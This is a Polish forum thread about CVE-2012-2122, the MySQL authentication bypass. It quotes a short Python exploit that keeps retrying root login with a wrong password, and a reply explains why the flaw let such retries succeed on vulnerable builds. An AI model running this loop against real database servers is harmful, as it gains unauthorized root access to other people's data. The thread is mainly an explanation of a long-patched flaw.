-
[Python] CVE-2012-2122
Jest ktoś mi wytłumaczyć jak działa poniższy exploit?
Kod:
#!/usr/bin/python
#
#
# This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
#
# Title: MySQL Remote Root Authentication Bypass
# Written by: Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
# Original advisory here: seclists.org/oss-sec/2012/q2/493
import subprocess
ipaddr = raw_input("Enter the IP address of the mysql server: ")
while 1:
subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
Bo się bawię, bawię.. i nic. Z tego co mi wiadomo to dzięki niemu ma się dostęp do bazy, tylko na jakiej zasadzie?
Zapisałem w rozszerzeniu *.py, włączyłem w pythonie przy IP localhost w taki sposób:
Kod:
#!/usr/bin/python
#
#
# This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
#
# Title: MySQL Remote Root Authentication Bypass
# Written by: Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
# Original advisory here: seclists.org/oss-sec/2012/q2/493
import subprocess
ipaddr = raw_input("Enter the IP address of the mysql server: 127.0.0.1 ")
while 1:
subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
i nic specjalnego się nie dzieje.
-
Nie dziala bo nie wiesz/nie rozumiesz dlaczego dzialalo na samym poczatku. Taki skutek uzywania cudzego kodu bez wlasciwego przygotowania i znajomosci kontekstu.
MySQL w niektorych wersjach mial blad ze wystarczylo podac dowolne haslo i wpuszczal do bazy. Blad byl w jednej z bibliotek systemowych w sumie i wazne bylo z ktora wersja tej dziurawej biblioteki byl kompilowany MySQL. Jesli trafiles na te dziurawa albo jeszcze gorzej tej biblioteki uzyto do zrobienia paczki do Twojej dystrybucji Linuxa, to miales problem.
Logujesz sie jako root z haslem 123456 i nie wpuszcza... probujesz jeszcze raz i jeszcze raz i jeszcze... i jestes nagle root z dostepem do bazy.
Diura zostala zalatana w ciagu paru dni a to ze eksploit napisano w pythonie to przerost formy nad trescia. Na twitterze dawno juz opublikowano jedna linijke w bash'u ktora daje to samo.
-
Mógłbym prosić o tą jedną linijkę basha? :)